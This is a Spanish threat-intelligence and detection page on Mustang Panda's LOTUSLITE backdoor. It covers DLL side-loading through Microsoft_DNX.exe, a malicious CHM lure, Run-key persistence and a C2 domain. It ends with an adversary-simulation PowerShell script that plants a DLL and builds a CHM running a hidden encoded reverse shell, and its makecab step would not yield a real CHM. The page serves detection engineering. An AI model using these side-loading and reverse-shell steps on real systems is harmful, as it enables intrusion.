Mismo paquete, magia diferente: Mustang Panda ataca el sector bancario de India y la geopolítica de Corea
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
La Unidad de Investigación de Amenazas de Acronis descubrió una nueva variante de backdoor LOTUSLITE que tiene como objetivo a organizaciones en el sector bancario de la India y a individuos relacionados con asuntos diplomáticos de Corea del Sur. El malware se despliega a través de la carga lateral de DLL, utilizando un ejecutable legítimo firmado por Microsoft para cargar una biblioteca maliciosa, y luego se comunica con un servidor de comando y control basado en DNS dinámico a través de HTTPS. Basado en patrones de infraestructura y superposiciones de técnicas, los investigadores atribuyeron la actividad a Mustang Panda con confianza moderada.
Investigación
Los analistas examinaron un archivo CHM malicioso, un cargador basado en JavaScript, y un Microsoft_DNX.exe binario que cargó lateralmente una DLL con la carga útil de LOTUSLITE. Su análisis reveló actualizaciones en funciones exportadas, convenciones de nomenclatura de mutex, opciones de línea de comandos, valores mágicos de paquetes y métodos de resolución de API. El equipo también vinculó la operación con campañas anteriores de Mustang Panda a través de dominios gestionados por Dynu y la infraestructura de IP asociada.
Mitigación
Los defensores deben evitar la carga no autorizada de DLL en ejecutables firmados por Microsoft de confianza, monitorear los patrones de mutex identificados y los argumentos de línea de comandos modificados, y aplicar controles estrictos alrededor del tráfico de DNS dinámico. Los equipos de seguridad también deben detectar el valor mágico distintivo del paquete 0xB2EBCFDF y observar las modificaciones de clave ejecutar de HKCU que pueden indicar persistencia.
Respuesta
Si se detecta esta actividad, aísle el sistema afectado de inmediato, termine el proceso malicioso y elimine tanto la DLL cargada lateralmente como el ejecutable abusado del disco. Debe capturarse la memoria para análisis forense, revocar las credenciales expuestas, y bloquear los dominios de comando y control e IP identificados. También debe realizarse una búsqueda más amplia en el entorno para los artefactos de persistencia basados en mutex y registro vinculados a la campaña.
"graph TB %% Sección de definiciones de clases classDef action fill:#99ccff classDef file fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef persistence fill:#ccffcc %% Nodos action_initial_access["<b>Acción</b> – <b>T1566.001 Adjunto Clonado Seleccionado</b><br/>Archivo de ayuda HTML compilado malicioso (CHM) enviado por correo electrónico."] class action_initial_access action file_chm["<b>Archivo</b> – <b>Nombre</b>: Request_for_Support.chm<br/><b>Tipo</b>: Ayuda HTML compilada"] class file_chm file action_user_execution["<b>Acción</b> – <b>T1204.002 Ejecución por usuario</b><br/>La víctima abre el CHM, activando JavaScript incrustado."] class action_user_execution action action_obfuscation["<b>Acción</b> – <b>T1027 Archivos u Otro Tipo de Información Ofuscados</b><br/>JavaScript suelta un ejecutable firmado por Microsoft y una DLL maliciosa usando ActiveX y HTML oculto."] class action_obfuscation action file_ms_dnx["<b>Archivo</b> – <b>Nombre</b>: Microsoft_DNX.exe<br/><b>Firma</b>: Firmado por Microsoft"] class file_ms_dnx file file_lotuslite["<b>Malware</b> – <b>Nombre</b>: Variante LotusLite DLL<br/><b>Tipo</b>: Biblioteca de Enlace Dinámico"] class file_lotuslite malware action_embedded_payloads["<b>Acción</b> – <b>T1027.009 Cargas Útiles Incrustadas</b><br/>El CHM contiene JavaScript (music.js) que extrae y ejecuta la DLL y EXE."] class action_embedded_payloads action action_system_binary_proxy["<b>Acción</b> – <b>T1218 Ejecución de Proxy Binario del Sistema</b><br/>Microsoft_DNX.exe representa la ejecución de la DLL maliciosa a través de LoadLibraryExW."] class action_system_binary_proxy action action_trusted_dev_utilities["<b>Acción</b> – <b>T1127 Ejecución de Proxy de Utilidades del Desarrollador Confiable</b><br/>Abuso de Microsoft_DNX.exe, una herramienta de runtime de .NET confiable, para ejecutar el backdoor."] class action_trusted_dev_utilities action action_script_proxy["<b>Acción</b> – <b>T1216 Ejecución de Proxy de Scripts del Sistema</b><br/>El JavaScript incrustado actúa como un proxy de script para lanzar el ejecutable."] class action_script_proxy action action_hijack_execution["<b>Acción</b> – <b>T1574.005 Secuestro del Flujo de Ejecución</b><br/>Carga lateral de DLL colocando una DLL maliciosa con el mismo nombre en el directorio del ejecutable."] class action_hijack_execution action action_persistence["<b>Acción</b> – <b>T1547.014 Ejecución de Arranque o Inicio de Sesión</b><br/>Active Setup escribe una clave de Ejecución bajo HKCUSoftwareMicrosoftWindowsCurrentVersionRun."] class action_persistence persistence command_and_control["<b>Mando y Control</b><br/>El implante contacta el dominio dinámico-DNS editor.gleeze.com sobre HTTPS."] class command_and_control process %% Conexiones que muestran el flujo de ataque action_initial_access –>|entrega| file_chm file_chm –>|abierto por la víctima| action_user_execution action_user_execution –>|activa| action_obfuscation action_obfuscation –>|sueltos| file_ms_dnx action_obfuscation –>|sueltos| file_lotuslite file_ms_dnx –>|utilizado en| action_system_binary_proxy file_ms_dnx –>|utilizado en| action_trusted_dev_utilities action_system_binary_proxy –>|carga| file_lotuslite action_trusted_dev_utilities –>|ejecuta| file_lotuslite action_user_execution –>|ejecuta| action_script_proxy action_script_proxy –>|lanza| file_ms_dnx action_obfuscation –>|habilita| action_embedded_payloads action_embedded_payloads –>|proporciona| action_hijack_execution action_hijack_execution –>|facilita| action_persistence action_persistence –>|establece| command_and_control "
Flujo de Ataque
Detecciones
Archivos Sospechosos en el Perfil Público de Usuario (a través de file_event)
Ver
Puntos Posibles de Persistencia [ASEPs – Software/Colmena NTUSER] (a través de registry_event)
Ver
Ejecución Sospechosa desde el Perfil Público de Usuario (a través de process_creation)
Ver
IOCs (HashSha256) para detectar: Mismo paquete, diferente magia: Mustang Panda impacta en el sector bancario de la India y la geopolítica de Corea
Ver
IOCs (SourceIP) para detectar: Mismo paquete, diferente magia: Mustang Panda impacta en el sector bancario de la India y la geopolítica de Corea
Ver
IOCs (DestinationIP) para detectar: Mismo paquete, diferente magia: Mustang Panda impacta en el sector bancario de la India y la geopolítica de Corea
Ver
Detección de Comunicación de C2 del Backdoor LOTUSLITE [Conexión de Red de Windows]
Ver
Detección del Backdoor LOTUSLITE vía Microsoft DNX y HH.exe [Creación de Proceso de Windows]
Ver
Ejecución de Simulación
Prerrequisito: La Verificación Previa de Telemetría y Línea de Base debe haber pasado.
Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y narrativa DEBEN reflejar directamente los TTPs identificados y pretenden generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa de Ataque & Comandos:
-
Etapa DLL maliciosa:
- El atacante copia una DLL maliciosa (
lotuslite.dll) en el mismo directorio que elMicrosoft_DNX.exelegítimo. Esta DLL contiene la carga útil del backdoor.
- El atacante copia una DLL maliciosa (
-
Ejecutar carga lateral de DLL a través de Microsoft_DNX.exe:
- Al lanzar
Microsoft_DNX.exesin argumentos, Windows carga primero la DLL maliciosa (debido al secuestro del “orden de búsqueda”), ejecutando el backdoor.
- Al lanzar
-
Crear CHM malicioso:
- Un archivo CHM (
evil.chm) es creado conteniendo JavaScript que, al renderizarse, lanza un shell inverso de PowerShell.
- Un archivo CHM (
-
Activar JavaScript a través de hh.exe:
- El atacante ejecuta
hh.exe evil.chm, causando que el ejecutable de Ayuda HTML analice el CHM y ejecute el script incrustado, logrando así la ejecución de código bajo un binario firmado.
- El atacante ejecuta
Esta secuencia genera dos eventos de Creación de Proceso de Sysmon distintos que coinciden con las condiciones de la regla de detección.
-
-
Script de Prueba de Regresión:
# ------------------------------------------------------------------------- # Simulación de LotusLite – Carga Lateral de DLL + Ejecución CHM de hh.exe # ------------------------------------------------------------------------- # Prerrequisitos: # - Sysmon instalado y reenviando logs. # - Privilegios de administrador (requeridos para escritura en Archivos de Programa). $dnxPath = "$env:ProgramFilesMicrosoftMicrosoft_DNX.exe" $dnxDir = Split-Path $dnxPath -Parent # 1. Implementar DLL maliciosa (carga simulada) $malDllSource = "C:Templotuslite.dll" # <-- reemplazar con la ruta real de la carga $malDllDest = Join-Path $dnxDir "lotuslite.dll" Copy-Item -Path $malDllSource -Destination $malDllDest -Force # 2. Lanzar Microsoft_DNX.exe para activar carga lateral de DLL Write-Host "[*] Lanzando Microsoft_DNX.exe para carga lateral de DLL..." Start-Process -FilePath $dnxPath -WindowStyle Hidden # 3. Crear CHM malicioso conteniendo JavaScript (ejemplo simplificado) $chmPath = "C:Tempevil.chm" $htmlContent = @" <HTML><HEAD> <SCRIPT language=`"JScript`"> var shell = new ActiveXObject("WScript.Shell"); shell.Run("powershell -nop -w hidden -EncodedCommand <base64-rev-shell>", 0); </SCRIPT> </HEAD><BODY></BODY></HTML> "@ $tempHtml = "C:Tempevil.html" $htmlContent | Out-File -FilePath $tempHtml -Encoding ASCII # Usar makecab para empaquetar el HTML en un CHM (se requieren herramientas del SDK de Windows) $makeCab = "$env:WINDIRsystem32makecab.exe" & $makeCab /D "CompressionType=MSZIP" $tempHtml $chmPath # 4. Ejecutar el CHM vía hh.exe Write-Host "[*] Lanzando hh.exe sobre CHM malicioso..." Start-Process -FilePath "$env:SystemRootSystem32hh.exe" -ArgumentList $chmPath -WindowStyle Hidden # Limpiar archivos temporales (retener DLL maliciosa para análisis post-ejecución) Remove-Item $tempHtml -Force Write-Host "[*] Simulación completa." -
Comandos de Limpieza:
# ------------------------------------------------------------------------- # Limpieza para Simulación de LotusLite # ------------------------------------------------------------------------- $dnxPath = "$env:ProgramFilesMicrosoftMicrosoft_DNX.exe" $dnxDir = Split-Path $dnxPath -Parent $malDllDest = Join-Path $dnxDir "lotuslite.dll" $chmPath = "C:Tempevil.chm" # Eliminar DLL maliciosa if (Test-Path $malDllDest) { Remove-Item $malDllDest -Force Write-Host "[*] DLL maliciosa eliminada." } # Eliminar CHM if (Test-Path $chmPath) { Remove-Item $chmPath -Force Write-Host "[*] CHM malicioso eliminado." } # Opcionalmente terminar procesos persistentes (si los hay) Get-Process -Name "Microsoft_DNX","hh" -ErrorAction SilentlyContinue | Stop-Process -Force Write-Host "[*] Limpieza terminada."